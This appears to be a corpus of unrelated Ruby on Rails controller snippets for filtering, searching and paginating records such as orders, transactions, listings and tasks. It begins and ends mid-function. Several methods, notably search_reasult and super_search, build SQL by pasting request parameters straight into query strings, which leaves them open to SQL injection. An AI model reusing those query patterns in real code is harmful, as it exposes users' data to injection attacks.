NULL OR (ftrr.fee_account_id IS NOT NULL AND fa.is_deleted = false))\",\n \"#{params[:query]}%\", \"#{params[:query]}%\",\n \"#{params[:query]}%\"]) unless params[:query] == ''\n else\n @transactions = CancelledFinanceTransaction.paginate(:page => params[:page], :per_page => 20,\n :select => \"cancelled_finance_transactions.payee_id, cancelled_finance_transactions.payee_type,\n IFNULL(CONCAT(IFNULL(tr.receipt_sequence, ''), tr.receipt_number),'') AS receipt_no, \n cancelled_finance_transactions.amount, cancel_reason, \n cancelled_finance_transactions.user_id, cancelled_finance_transactions.created_at, \n collection_name, finance_type\",\n :include => [:user,:payee], :order => 'created_at desc',\n :joins => \"LEFT OUTER JOIN students ON students.id = payee_id\n LEFT OUTER JOIN employees ON employees.id = payee_id\n LEFT JOIN finance_transaction_receipt_records ftrr\n ON ftrr.finance_transaction_id = cancelled_finance_transactions.finance_transaction_id\n LEFT JOIN transaction_receipts tr ON tr.id = ftrr.transaction_receipt_id\n #{active_account_joins(true,'ftrr')}\",\n :conditions => [\"(students.admission_no LIKE ? OR employees.employee_number LIKE ?) AND #{active_account_conditions(true, 'ftrr')}\",\n # (ftrr.fee_account_id IS NULL OR (ftrr.fee_account_id IS NOT NULL AND fa.is_deleted = false))\",\n \"#{params[:query]}%\", \"#{params[:query]}%\"]) unless params[:query] == ''\n end\n end\n\n render :update do |page|\n page.replace_html 'search_div', :partial => \"finance/search_deleted_transactions\"\n end\n #render :partial => \"finance/search_deleted_transactions\"\n end", "def build_search_params\n @per_page = MasterParticularReport.per_page\n if request.xhr? or action_name == 'download_report'\n @search_params = Hash.new\n @search_params[:financial_year_id] = params[:transaction_report][:financial_year_id]\n @search_params[:fee_account_ids] = params[:transaction_report][:fee_account_ids]\n if params[:page]\n params[:transaction_report][:course_id] = convert_to_array(params[:transaction_report][:course_id])\n params[:transaction_report][:batch_id] = convert_to_array(params[:transaction_report][:batch_id])\n end\n @search_params[:start_date] = params[:transaction_report][:start_date]\n return (@status = false) unless @search_params[:start_date].present?\n @search_params[:end_date] = params[:transaction_report][:end_date]\n return (@status = false) unless @search_params[:end_date].present?\n @search_params[:course_id] = params[:transaction_report][:course_id]\n return (@status = false) unless @search_params[:course_id].present?\n if @search_params[:course_id].present?\n if @search_params[:course_id] == 'all'\n # @search_params[:batch_id] = 'all'\n elsif params[:search].present? and params[:search][:batch_id].present?\n @search_params[:batch_id] = params[:search][:batch_id]\n elsif params[:transaction_report][:batch_id].present?\n @search_params[:batch_id] = params[:transaction_report][:batch_id]\n # elsif action_name == 'download_report'\n # @search_params[:batch_id] = params[:transaction_report][:batch_id] if params[:transaction_report][:batch_id].present?\n else\n return (@status = false)\n end\n end\n @search_params[:mode] = params[:transaction_report][:mode] if params[:transaction_report][:mode].present?\n @search_params[:page] = params[:page]\n @search_params[:expected_amount] = params[:transaction_report][:expected_amount].to_i\n # puts @search_params.inspect\n @status = true\n end\n end", "def init_contract_filters\n\t \n\t statusable = Category.statusable\n\t if statusable.length == 0\n\t @conditions << \"(true = false)\"\n\t else\n\t @conditions << \"(category_id in (#{Category.statusable.collect{|c|c.id}.join(',')}))\"\n end\n\tend", "def index\n authorize Task\n @filterrific = initialize_filterrific(\n Task,\n params[:filterrific],\n select_options: {\n with_task_status_id: TaskStatus.options_for_select,\n with_assigned_to_id: User.options_for_select\n },\n ) or return\n\n #@filterrific.sorted_by = 'task_status_asc' if @filterrific.sorted_by.blank?\n\n @selected_per_page = get_session_per_page(Task.per_page)\n if @filterrific.with_task_status_id.nil?\n @tasks = @filterrific.find.for_user(current_user).not_closed.page(params[:page]).per_page(@selected_per_page)\n else\n @tasks = @filterrific.find.for_user(current_user).page(params[:page]).per_page(@selected_per_page)\n end\n respond_to do |format|\n format.html\n format.js\n end\n\n rescue ActiveRecord::RecordNotFound => e\n puts \"Had to reset filterrific params: #{ e.message }\"\n redirect_to(reset_filterrific_url(format: :html)) and return\n\nend", "def select_locations\n if params[:status] == \"pending\"\n @locations = Location.where(status: \"pending\").order('updated_at ASC').paginate(page: params[:page], per_page: 10)\n elsif params[:status] == \"accepted\"\n @locations = Location.where(status: \"accepted\").order('updated_at ASC').paginate(page: params[:page], per_page: 10)\n elsif params[:status] == \"declined\"\n @locations = Location.where(status: \"declined\").order('updated_at ASC').paginate(page: params[:page], per_page: 10)\n elsif params[:status] == \"all\"\n @locations = Location.all.order('updated_at ASC').paginate(page: params[:page], per_page: 10)\n else\n @locations = Location.where(status: \"pending\").order('updated_at ASC').paginate(page: params[:page], per_page: 10)\n end\n end", "def initialize_params_and_store_session\n session_hash = {}\n\n # Days since upadated date (default)\n if @updated_within == nil || @updated_within.to_i == 0 then\n @updated_within = Constants::DEFAULT_VALUE_UPDATED_WITHIN\n end\n session_hash[\"updated_within\"] = @updated_within\n \n # Days since closed date (default)\n if @done_within == nil || @done_within.to_i == 0 then\n @done_within = Constants::DEFAULT_VALUE_DONE_WITHIN\n end\n session_hash[\"done_within\"] = @done_within\n\n # Default user ID (= current user)\n if @user_id == nil || @user_id.to_i == 0 then\n @user_id = @current_user.id\n end\n session_hash[\"user_id\"] = @user_id\n \n # Project identifier\n @project_id = params[:project_id]\n if @project_id.blank? == true then\n @project = nil\n else\n @project = Project.find(@project_id)\n end\n \n # Get all group\n @all_groups = Group.where(type: \"Group\")\n\n # Create array of user ID belongs to group\n @user_id_array = []\n if @group_id == nil || @group_id.to_i == 0 then\n # Case no group selected\n @user_id_array << @user_id.to_i\n @group_id = \"all\"\n else\n # Case group selected\n @all_groups.each {|group|\n if group.id == @group_id.to_i\n @user_id_array = group.user_ids\n end\n }\n end\n session_hash[\"group_id\"] = @group_id\n\n # Case <unspecified> selected\n if @project_id.blank? == true then\n @project_all = \"1\"\n else\n if @project_all.blank? == true then\n @project_all = \"0\"\n end\n end\n session_hash[\"project_all\"] = @project_all\n\n # Array of status ID for display\n @status_fields_array = []\n if !@status_fields.blank? then\n @status_fields.each {|id,chk|\n if chk == \"1\"\n @status_fields_array << id.to_i\n end\n }\n else\n # Default\n @status_fields_array = Constants::DEFAULT_STATUS_FIELD_VALUE_ARRAY\n end\n session_hash[\"status_fields\"] = @status_fields\n\n # Max number of WIP issue (default)\n if @wip_max == nil || @wip_max.to_i == 0 then\n @wip_max = Constants::DEFAULT_VALUE_WIP_MAX\n end\n session_hash[\"wip_max\"] = @wip_max\n\n # Store session\n session[:kanban] = session_hash\n end", "def manage_filter_state_show\n if params[:ifilter_show]\n session[:ifilter_show] = params[:ifilter_show]\n elsif session[:ifilter_show]\n params[:ifilter_show] = session[:ifilter_show]\n end\n if params[:ifilter_show_tariff]\n session[:ifilter_show_tariff] = params[:ifilter_show_tariff]\n elsif session[:ifilter_show_tariff]\n params[:ifilter_show_tariff] = session[:ifilter_show_tariff]\n end\n end", "def restrict_results\n\t\t\t\t# 10 = residential, 20 = sales, 30 = commercial\n\t\t\t\t# default to residential\n\t\t\t\t@listing_type = %w[10 20 30].include?(listing_params[:listing_type]) ? listing_params[:listing_type] : \"\".freeze\n\t\t\t\t# 10 - studio, 20 - 1 BR, 30 - 2 BR, 40 - 3 BR, 50 - 4+ BR, 80 - LOFT\n\t\t\t\tlayout = %w[10 20 30 40 50 80].include?(listing_params[:layout]) ? listing_params[:layout] : \"\".freeze\n\t\t\t\t# 10 - 1 B, 15 - 1.5 B, 20 - 2 B, 25 - 2.5 B, 30 - 3 B, 35 - 3.5+ B\n\t\t\t\tbathrooms = %w[10 15 20 25 30 35].include?(listing_params[:bathrooms]) ? listing_params[:bathrooms] : \"\".freeze\n\t\t\t\t# cats allowed\n\t\t\t\tcats_allowed = _is_valid_bool_value(listing_params[:cats_allowed])\n\t\t\t\t# dogs allowed\n\t\t\t\tdogs_allowed = _is_valid_bool_value(listing_params[:dogs_allowed])\n\t\t\t\t# elevator\n\t\t\t\televator = _is_valid_bool_value(listing_params[:elevator])\n\t\t\t\t# doorman\n\t\t\t\tdoorman = _is_valid_bool_value(listing_params[:doorman])\n\t\t\t\t# laundry in building\n\t\t\t\tlaundry_in_building = _is_valid_bool_value(listing_params[:laundry_in_building])\n\t\t\t\t# laundry in unit\n\t\t\t\tlaundry_in_unit = _is_valid_bool_value(listing_params[:laundry_in_unit])\n\t\t\t\t# has_photos\n\t\t\t\thas_photos = _is_valid_bool_value(listing_params[:has_photos])\n\t\t\t\t#status\n\t\t\t\tstatus = listing_params[:status] ? listing_params[:status] : 'active,pending'\n\t\t\t\t# sort order defaults to order by last udpated\n\t\t\t\tsort_column = %w[layout rent date_available updated status_updated].include?(listing_params[:sort]) ? listing_params[:sort] : \"updated\".freeze\n\t\t\t\t# sort_dir\n\t\t\t\tsort_dir = %w[asc desc].include?(listing_params[:sort_dir]) ? listing_params[:sort_dir] : \"\".freeze\n\t\t\t\t# pagination\n\t\t\t\tper_page = 50\n\t\t\t\t# if listing_params[:per_page] && !listing_params[:per_page].empty?\n\t\t\t\t# \tper_page = listing_params[:per_page].to_i\n\t\t\t\t# \tif per_page < 50\n\t\t\t\t# \t\tper_page = 50\n\t\t\t\t# \tend\n\t\t\t\t# \tif per_page > 50\n\t\t\t\t# \t\tper_page = 50\n\t\t\t\t# \tend\n\t\t\t\t# end\n\n\t\t\t\t# calls our API::V1::NestioInterface module located under /lib\n\t\t\t\tsearch_params = {\n\t\t\t\t\tlisting_type: @listing_type,\n\t\t\t\t\tlayout: layout,\n\t\t\t\t\tbathrooms: bathrooms,\n\t\t\t\t\tmin_rent: listing_params[:min_rent],\n\t\t\t\t\tmax_rent: listing_params[:max_rent],\n\t\t\t\t\tcats_allowed: cats_allowed,\n\t\t\t\t\tdogs_allowed: dogs_allowed,\n\t\t\t\t\televator: elevator,\n\t\t\t\t\tdoorman: doorman,\n\t\t\t\t\tdate_available_before: listing_params[:date_available_before],\n\t\t\t\t\tdate_available_after: listing_params[:date_available_after],\n\t\t\t\t\tlaundry_in_building: laundry_in_building,\n\t\t\t\t\tlaundry_in_unit: laundry_in_unit,\n\t\t\t\t\thas_photos: has_photos,\n\t\t\t\t\tsort_column: sort_column,\n\t\t\t\t\tsort_dir: sort_dir,\n\t\t\t\t\tper_page: per_page,\n\t\t\t\t\tpage: listing_params[:page],\n\t\t\t\t\tagents: listing_params[:agents],\n\t\t\t\t\tneighborhoods: listing_params[:neighborhoods],\n\t\t\t\t\tchanged_at: listing_params[:changed_at],\n\t\t\t\t\tstatus: status\n\t\t\t\t}\n\n\t\t\t\tsearch_type_breakdown(search_params)\n\t\t\t\t@listing_type = @listing_type.to_i\n\t\t\tend", "def process_filter\n # Create the session variable if necessary.\n unless session.has_key?(:filter)\n session[:filter] = Array.new\n end\n\n start_size = session[:filter].length\n \n # Adding to the filter?\n if params.has_key?(:add_to_filter)\n session[:filter] << params[:add_to_filter]\n end\n\n # Removing from the filter?\n if params.has_key?(:remove_from_filter)\n session[:filter].delete_at(session[:filter].index(params[:remove_from_filter]))\n end\n \n # Clearing the filter?\n if params.has_key?(:clear_filter)\n session[:filter].clear\n end\n # If the filter was added to or removed from the size will have changed.\n return session[:filter].length != start_size\n end", "def criteria\r\n model = controller_name.singularize.camelize.constantize\r\n locals = {}\r\n\r\n case params[:id]\r\n when \"activate_filters\"\r\n action = \"acts_as_criteria/activate_filter\"\r\n when \"activate_simple\"\r\n action = \"acts_as_criteria/activate_simple\"\r\n when \"new_filter_row\"\r\n unless params[:col_name].blank?\r\n col_name = params[:col_name]\r\n @filter = { :col_name => col_name, :col_text => model.criteria_options[:filter][:columns][:\"#{col_name}\"][:text] || col_name,:col_subtype => model.col_subtype(col_name), :col_options => model.criteria_options[:filter][:columns][:\"#{col_name}\"] }\r\n action = \"acts_as_criteria/new_filter_row\"\r\n else\r\n action = \"acts_as_criteria/invalid_action\"\r\n end\r\n when \"destroy_filter_row\"\r\n unless params[:col_name].blank?\r\n locals = { :col_name => params[:col_name] }\r\n action = \"acts_as_criteria/destroy_filter_row\"\r\n else\r\n action = \"acts_as_criteria/invalid_action\"\r\n end\r\n when \"clear_filters\"\r\n instance_variable_set(\"@current_query\", nil)\r\n unless model.criteria_options[:mantain_current_query].blank?\r\n model.criteria_options[:mantain_current_query].call(nil, controller_name, session)\r\n end \r\n action = \"acts_as_criteria/clear_filters\"\r\n when \"save_filters\"\r\n if params[:criteria_select_filter].blank?\r\n filter = UserFilter.new(:user_id => params[:user_id], :assigned_to => params[:user_id], :name => params[:filter_name], :description => params[:filter_description], :criteria => criteria_hash_to_query_string, :asset => controller_name)\r\n else\r\n if model.criteria_options[:restrict].blank?\r\n filter = UserFilter.find(:first, :conditions => { :user_id => @current_user.id, :id => params[:criteria_select_filter] })\r\n else\r\n restrict = model.criteria_options[:restrict]\r\n filter = UserFilter.send(:\"#{restrict[:method]}\", @current_user).find(:first, :conditions => { :id => params[:criteria_select_filter] })\r\n end\r\n filter.criteria = criteria_hash_to_query_string\r\n end\r\n \r\n if filter.save\r\n message = model.criteria_options[:i18n] ? model.criteria_options[:i18n].call(\"msg_successful_saved_filter\") : \"Succefully saved filter\"\r\n flash[:notice] = message\r\n else\r\n message = model.criteria_options[:i18n] ? model.criteria_options[:i18n].call(\"msg_failed_save_filter\") : \"The filter can't be saved\"\r\n flash[:error] = message\r\n end\r\n action = \"acts_as_criteria/save_filters\"\r\n else\r\n action = \"acts_as_criteria/invalid_action\"\r\n end\r\n \r\n respond_to do |format|\r\n format.js { render :template => action, :locals => locals }\r\n end \r\n end", "def index\n @orders =if current_user.role == \"provider\"\n Order.where(\"provider_id= ?\", current_user.id)\n elsif \n params[:status]\n Order.where(status: params[:status])\n # Order.where(\"provider_id= ? AND status= ?\", current_user.id, \"pending\")\n else\n current_user.orders\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @orders.to_json }\n end\n end", "def status_params\n params.require(:status).permit(:result_no, :generate_no, :e_no, :ranking_rate, :rp, :acc_total, :acc_attack, :acc_support, :acc_defense, :funds, :exp)\n end", "def index\n @status = params[:status]\n @orders = Order.last_opened.page params[:page]\n @orders = @orders.where status: @status if @status\n end", "def index\n #Получаем все заказы для пользователя, который закреплен за одной или нескольких аптек\n\n # current_user = User.find_by_authentication_token(params[:authenticity_token])\n if params[:fltr] == \"3\" then\n @inv = Invoice.all.where(\"status = '3' and pharmacy_id in (:ph_id)\",ph_id: Pharmacy.where('user_id=:p',p:current_user.id).map{ |ph| ph.id })\n #@inv = Invoice.all.where(\"status = '3'\")\n @status = \"Отгруженные\"\n elsif params[:fltr] == \"4\"\n @inv = Invoice.all.where(\"status = '4' and pharmacy_id in (:ph_id)\",ph_id: Pharmacy.where('user_id=:p',p:current_user.id).map{ |ph| ph.id })\n #@inv = Invoice.all.where(\"status = '2'\").order(\"status DeSC\")\n @status = \"Отказ\"\n elsif params[:fltr] == \"2\"\n @inv = Invoice.all.where(\"status = '2' and pharmacy_id in (:ph_id)\",ph_id: Pharmacy.where('user_id=:p',p:current_user.id).map{ |ph| ph.id })\n #@inv = Invoice.all.where(\"status = '2'\").order(\"status DeSC\")\n @status = \"В работе\"\n else\n @inv = Invoice.all.where(\"status not in ('2','3','4') and pharmacy_id in (:ph_id)\",ph_id: Pharmacy.where('user_id=:p',p:current_user.id).map{ |ph| ph.id })\n #@inv = Invoice.all.where(\"status not in ('2','3')\").order(\"status DeSC\")\n @status = \"Новые\"\n end\n\n #render json: @user\nend", "def get_status_filter_check(status)\n params[:statuses] ? params[:statuses].keys.include?(status) : true\n end", "def search_reasult(search_params)\n puts search_params\n # Available FBA States\n @fba_states = [[\"All\", nil], [\"Picking Line\", [\"rfp\", \"assign_for_pickup\"]], [\"Packing Line\", [\"picked_up\", \"assign_for_packup\"]], [\"Out For Delivery\", [\"delivery\", \"redelivery\"]], [\"Cancelled\", [\"cancel\"]], [\"Completed\", [\"complete\", \"customer_complete\", \"self_collect_complete\", \"collect_complete\", \"return_complete\"]]]\n @customer_pickup = false\n\n # Collect all search params if available\n if params[:order].present?\n @customer_pickup = params[:order][:is_pick_at_store] == \"true\" ? true : false\n @seller_id = params[:order][:seller_id]\n @market_place_id = params[:order][:market_place_id]\n @fba_state = params[:order][:fba_state]\n @formatted_state = @fba_state.tr('\"', '').gsub(\"[\",\"\").gsub(\"]\",\"\").split(\",\").map(&:lstrip) if @fba_state.present?\n @search_text = params[:order][:search_text]\n end\n\n # Initialize an array to collect the search query condition\n @query_conditions = []\n\n if params[:created_at_lt].present? && params[:created_at_gt].present?\n st_date = params[:created_at_gt].to_date.beginning_of_day\n end_date = params[:created_at_lt].to_date.end_of_day\n @query_conditions << \" order_date BETWEEN '#{st_date}' AND '#{end_date}'\"\n end\n\n # Check for all search parameters and create query conditions accordingly\n if @customer_pickup.present?\n @query_conditions << \"spree_line_items.is_pick_at_store = #{@customer_pickup}\"\n end\n if @market_place_id.present?\n @query_conditions << \" market_place_id = #{@market_place_id}\"\n end\n if @search_text.present?\n @query_conditions << \" (number like '%#{@search_text}%' OR market_place_order_no like '%#{@search_text}%' OR cart_no like '%#{@search_text}%' OR fulflmnt_tracking_no like '%#{@search_text}%' OR spree_addresses.firstname like '%#{@search_text}%' )\"\n end\n if @formatted_state.present?\n # Check for selected seller and collect his orders and match selected fba state\n if @seller_id.present?\n @seller = Spree::Seller.find(params[:order][:seller_id])\n @orders = @seller.orders.where(:fulflmnt_state => @formatted_state)\n else\n @orders = @orders.where(:fulflmnt_state => @formatted_state)\n end\n else\n if @seller_id.present?\n @seller = Spree::Seller.find(params[:order][:seller_id])\n @orders = @seller.orders\n end\n end\n\n # Combine all query conditions in single\n @query_conditions = @query_conditions.join(' and ')\n\n # Check for loged in user role\n if spree_current_user.has_spree_role?('seller')\n @market_places = spree_current_user.seller.market_places\n @seller = spree_current_user.try(:seller)\n @orders = @orders.includes(:line_items,:ship_address).where(\"\"+@query_conditions)\n else\n @sellers = Spree::Seller.all\n @market_places = Spree::MarketPlace.all\n @orders = @orders.includes(:line_items,:ship_address).where(\"\"+@query_conditions)\n end\n end", "def index\n @status = params['status']\n\t\t@channel = Channel.find(params['channel_id'])\n # sql = 'channel_id = ?'\n # conditions = [sql,@channel.id]\n # unless @status.blank?\n # sql << ' and status = ?'\n # conditions << @status\n # end\n # @financings = Financing.where(conditions)\n @financings = Financing.where(:channel => @channel)\n @lower_risk_money = @medium_risk_money = @high_risk_money = 0\n @financings.each do |f|\n if f.started?\n if f.lower_risk?\n @lower_risk_money+=f.money_cent\n elsif f.medium_risk?\n @medium_risk_money+=f.money_cent\n elsif f.high_risk?\n @high_risk_money+=f.money_cent\n end\n end\n end\n end", "def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def set_status\n status = params[:search][:status]\n if status.present?\n @search_status = status.to_sym\n else\n @search_status = :all\n end\n cookies[:search_status] = @search_status\n end", "def user_filter_options(model) #:nodoc:\r\n table_name = @tables.first[1]\r\n if session[table_name]\r\n DcFilter.get_filter(session[table_name][:filter]) || model\r\n else\r\n model\r\n end\r\nend", "def user_filter_options(model) #:nodoc:\r\n table_name = @tables.first[1]\r\n if session[table_name]\r\n DcFilter.get_filter(session[table_name][:filter]) || model\r\n else\r\n model\r\n end\r\nend", "def status_params\n end", "def index\n params[:status] = params[:status] || 'active'\n @recurring_profiles = filter_by_company(RecurringProfile.joins(\"LEFT OUTER JOIN clients ON clients.id = recurring_profiles.client_id \").filter(params, @per_page)).order(\"#{sort_column} #{sort_direction}\")\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.json { render json: @recurring_profiles }\n end\n end", "def index\n @received_filter = FilterPresenter.new(['true', 'false'], 'all')\n @received_filter.current = params[:received]\n @graded_filter = FilterPresenter.new(['true', 'false'], 'all')\n @graded_filter.current = params[:graded]\n @patient = if patient_signed_in?\n current_patient\n elsif params[:patient_id]\n Patient.find(params[:patient_id])\n end\n\tgraded_flag = (@graded_filter.active == 'true')\n\treceived_flag = (@received_filter.active == 'true')\n\n\tif @graded_filter.active == 'all' and @received_filter.active == 'all'\n\t\t@records = (@patient ? @patient.records : Record.includes(:patient)).includes(:grade).order('created_at DESC')#.page(params[:page])\n\telsif @graded_filter.active == 'all'\n\t\t@records = (@patient ? @patient.records : Record.includes(:patient)).includes(:grade).where(received: received_flag).order('created_at DESC')#.page(params[:page])\n\telsif @received_filter.active == 'all'\n\t\t@records = (@patient ? @patient.records : Record.includes(:patient)).includes(:grade).where(graded: graded_flag).order('created_at DESC')#.page(params[:page])\n\telse\n\t\t@records = (@patient ? @patient.records : Record.includes(:patient)).includes(:grade).where(graded: graded_flag, received: received_flag).order('created_at DESC')#.page(params[:page])\n\tend\n\n respond_to do |format|\n format.html # index.html.erb\n format.json do\n render json: @records.to_json(\n include: {\n grade: {\n only: [:grade, :comment]\n }\n },\n only: [:id, :device, :comment, :status, :patient_id,\n :created_at, :updated_at, :meta, :pill_time_at, :received],\n methods: [:is_excuse?])\n end\n format.csv\n end\n end", "def params_to_status_checked(statuses_params, status)\n if statuses_params.nil?\n Post.DEFAULT_STATUSES.include? status\n else\n statuses_params.include? status\n end\n end", "def find_options_for_alive(options={})\n {:conditions => [\"kases.status NOT IN (?) AND kases.template != ?\", [\"suspended\", \"deleted\", \"closed\"], true],\n :order => \"kases.updated_at DESC\"}.merge_finder_options(options)\n end", "def prepare_search(options = {})\n logger.debug(\"List, Search, or Group records\")\n \n @period_options = Period.options_by_midpoint\n @start_period_options = [[\"Start Period\",\"\"]]\n @start_period_options.concat @period_options\n @end_period_options = [[\"End Period\",\"\"]]\n @end_period_options.concat @period_options\n\n @kingdom_options = Kingdom.options\n @phylum_options = Phylum.options\n @environment_options = Environment.options\n @motility_options = Motility.options\n\n\n ## Create a list of things that can be used to group bodysize search results\n @groups = Hash.new\n @groups[\"kingdom_id\"] = ResultGroupField.new(\"kingdom_id\", :display_name => \"Kingdom\")\n @groups[\"phylum_id\"] = ResultGroupField.new(\"phylum_id\", :display_name => \"Phylum\")\n @groups[\"class_classification\"] = ResultGroupField.new(\"class_classification\", :display_name => \"Class\", :attribute_name => \"class_classification\")\n @groups[\"environment_id\"] = ResultGroupField.new(\"environment_id\", :display_name => \"Environment\")\n @groups[\"motility_id\"] = ResultGroupField.new(\"motility_id\", :display_name => \"Motility\")\n\n @graph_group_options = @groups.map { |key, group| [group.display_name, group.field_name] }\n\n @groups[\"period_id\"] = ResultGroupField.new(\"period_id\", :display_name => \"Period\")\n @group_options = @groups.map { |key, group| [group.display_name, group.field_name] }\n \n\n # Override default search values with anything in the session\n search_values = Hash.new\n if session[:search]\n session[:search].each { |key, value| search_values[key.to_sym] = session[:search][key] }\n end\n \n # Override default and session values with anything in params\n if options\n options.each { |key, value| search_values[key.to_sym] = options[key] }\n end\n \n if params[:page]\n search_values[:page] = params[:page]\n end\n\n # Save the search criteria \n session[:search] = search_values.dup\n session[:search][:show_all] = false\n\n\n if search_values && search_values[:use_log10_biovolume] && search_values[:use_log10_biovolume] == \"1\"\n @data_field = \"log10_biovolume\"\n else\n @data_field = \"biovolume\"\n end\n\n # Default records\n \n \n @bodysizes = current_user.accessible_bodysize_records({ :page => params[:page] || 1, :per_page => 20 })\n \n \n search(search_values)\n end", "def conditions_for_collection\n selector = case session[:travel_filter]\n when 'arrivals' then ['travels.arrival AND travels.date >= (?)', Date::today]\n when 'departures' then ['travels.arrival = ? AND travels.date >= (?)', false, Date::today]\n when 'all_dates' then TRUE\n when 'current' then ['travels.date >= (?)', Date::today]\n else ['travels.date >= (?)', Date::today] # This will include nil case where filter has not been set for session\n end\n return selector\n end", "def index\n if session[:user_admin] == '1'\n @transactions = Transaction.where(\"status = ?\", \"pending\")\n else\n @transactions = Transaction.where(\"trans_from_id = ?\", session[:user_id])\n end\n end", "def filter\n conditions = [\"isEstimate = ?\"]\n values = [ 0 ]\n if(params[:filter])\n session[:filter] = params[:filter]\n end\n if(session[:filter])\n if(session[:filter][:date_max])\n conditions << \"moment <= ?\"\n values << session[:filter][:date_max]\n end\n if(session[:filter][:date_min])\n conditions << \"moment >= ?\"\n values << session[:filter][:date_min]\n end\n if(session[:filter][:name] && session[:filter][:name] != \"\") \n conditions << \"name LIKE ?\"\n values << \"%\" + session[:filter][:name] + \"%\"\n end\n end\n conditions = values.insert(0, conditions.join(\" AND \"))\n\n \n session[:event_results] = getResults(conditions, params[:event_page])\n conditions[1] = 1\n session[:estimate_results] = getResults(conditions, params[:estimate_page])\n \n session[:event_time] = Time.now.to_f\n #raise session[:event_time].to_s + \" \" + Event.last_update.to_s\n end", "def init_filter_session_var\n # check if how we're filtering\n if !params[\"list_filter\"].nil?\n if params[\"list_filter\"][\"input\"] == \"filter\"\n active_scaffold_session_storage[\"list_filter\"] = params[\"list_filter\"]\n elsif params[\"list_filter\"][\"input\"] == \"save\"\n active_scaffold_session_storage[\"list_filter\"] = params[\"list_filter\"]\n save_list_filter\n elsif params[\"list_filter\"][\"input\"] == \"reset\"\n active_scaffold_session_storage[\"list_filter\"] = nil\n end\n # if we aren't, then are we loading the filter, if not load the default\n elsif params[\"action\"] != \"list_filter\"\n active_scaffold_session_storage[\"list_filter\"] = load_list_filter(:default)\n end\n end", "def super_search\n @browse_state.attributes=(params)\n @search_filter1 = @browse_state.make_search_filter\n \n ## Condition - when to include or exlude romance from the search list.\n if params[:search_filter].nil? || (!params[:search_filter].nil? && params[:search_filter][:romance] == \"19\") \n cond = params[:search_filter][:romance].to_i if !params[:search_filter].nil? && !params[:search_filter][:romance].nil?\n cond = 19 if !params[:search_filter].nil? && params[:search_filter][:romance].nil?\n cond = 19 if params[:search_filter].nil?\n else\n cond = 0\n end\n \n ## Month validation as it should not be greater than 12.\n if !params[:search_filter].nil? && ( !params[:search_filter][:start_time].nil? || !params[:search_filter][:end_time].nil?) \n if params[:search_filter][:start_time] && params[:search_filter][:start_time] != \"MM/DD/YYYY\"\n s = params[:search_filter][:start_time].split('/')\n if s[0].to_i > 12\n params[:search_filter][:start_time] = Time.now.utc\n end\n end\n \n if params[:search_filter][:end_time] && params[:search_filter][:end_time] != \"MM/DD/YYYY\"\n s = params[:search_filter][:end_time].split('/')\n if s[0].to_i > 12\n params[:search_filter][:end_time] = Time.now.utc\n end\n end\n end\n \n ## Condition for getting activity id range.\n if !params[:search_filter].nil? && !params[:search_filter][:purpose_id].blank? \n p_id = params[:search_filter][:purpose_id].to_i\n elsif !params[:search_filter].nil? && params[:search_filter][:purpose_id].blank?\n p_id = 1..21\n end \n \n ## Condition for getting purpose id range.\n if !params[:search_filter].nil? && !params[:search_filter][:activity_id].blank? \n a_id = params[:search_filter][:activity_id].to_i\n elsif !params[:search_filter].nil? && params[:search_filter][:activity_id].blank?\n a_id = 1..14\n end \n \n ## Condition for getting zip codes in the given radius.\n if params[:checked_locat] == \"1\"\n if params[:search_filter][:city] == \"Atlanta\" or params[:search_filter][:city] == \"atlanta\" or params[:search_filter][:city] == \"ATLANTA\"\n st = \"GA\"\n elsif params[:search_filter][:city] == \"Boulder\" or params[:search_filter][:city] == \"boulder\" or params[:search_filter][:city] == \"BOULDER\"\n st = \"CO\"\n elsif params[:search_filter][:city] == \"San Diego\" or params[:search_filter][:city] == \"san diego\" or params[:search_filter][:city] == \"SAN DIEGO\"\n st = \"CA\"\n elsif params[:search_filter][:city] == \"Dallas\" or params[:search_filter][:city] == \"dallas\" or params[:search_filter][:city] == \"DALLAS\"\n st = \"TX\"\n elsif params[:search_filter][:city] == \"Houston\" or params[:search_filter][:city] == \"houston\" or params[:search_filter][:city] == \"HOUSTON\"\n st = \"TX\"\n elsif params[:search_filter][:city] == \"Miami\" or params[:search_filter][:city] == \"miami\" or params[:search_filter][:city] == \"MIAMI\"\n st = \"FL\"\n elsif params[:search_filter][:city] == \"San Francisco\" or params[:search_filter][:city] == \"san francisco\" or params[:search_filter][:city] == \"SAN FRANCISCO\"\n st = \"CA\"\n elsif params[:search_filter][:city] == \"Portland\" or params[:search_filter][:city] == \"portland\" or params[:search_filter][:city] == \"PORTLAND\"\n st = \"OR\"\n elsif params[:search_filter][:city] == \"San Jose\" or params[:search_filter][:city] == \"san jose\" or params[:search_filter][:city] == \"SAN JOSE\"\n st = \"CA\"\n end\n \n if !params[:search_filter].nil? && (!params[:search_filter][:zip].blank? || !params[:search_filter][:city].blank?)\n if st != \"\"\n r = ZipCode.find(:first,:select => \"latitude,longitude\",:conditions => [\"zip = ? or (city = '#{params[:search_filter][:city]}' and state = '#{st}')\",params[:search_filter][:zip]])\n else\n r = ZipCode.find(:first,:select => \"latitude,longitude\",:conditions => [\"zip = ? or city = ?\",params[:search_filter][:zip],params[:search_filter][:city]])\n end\n rad = params[:search_filter][:radius].to_i\n if !r.nil?\n sql = \"SELECT dest.id,dest.zip,3956 * 2 * ASIN(SQRT( POWER(SIN((orig.latitude - dest.latitude) * pi()/180 / 2), 2) + COS(orig.latitude * pi()/180) * COS(dest.latitude * pi()/180) * POWER(SIN((orig.longitude -dest.longitude) * pi()/180 / 2), 2) )) as distance FROM zip_codes dest, zip_codes orig WHERE dest.id = orig.id and dest.longitude between #{r.longitude}-#{rad}/abs(cos(radians(#{r.latitude}))*69) and #{r.longitude}+#{rad}/abs(cos(radians(#{r.latitude}))*69) and dest.latitude between #{r.latitude}-(#{rad}/69) and #{r.latitude}+(#{rad}/69) LIMIT 4096\"\n z = ZipCode.find_by_sql(sql)\n zcids = z.collect(&:id)\n end\n else\n zcids = \"\"\n end\n end\n \n zcids = \"\" if r.nil?\n \n params[:search_filter] ||= params[\"amp;search_filter\"] # Hack to stop a malformed feed url from causing an exception - 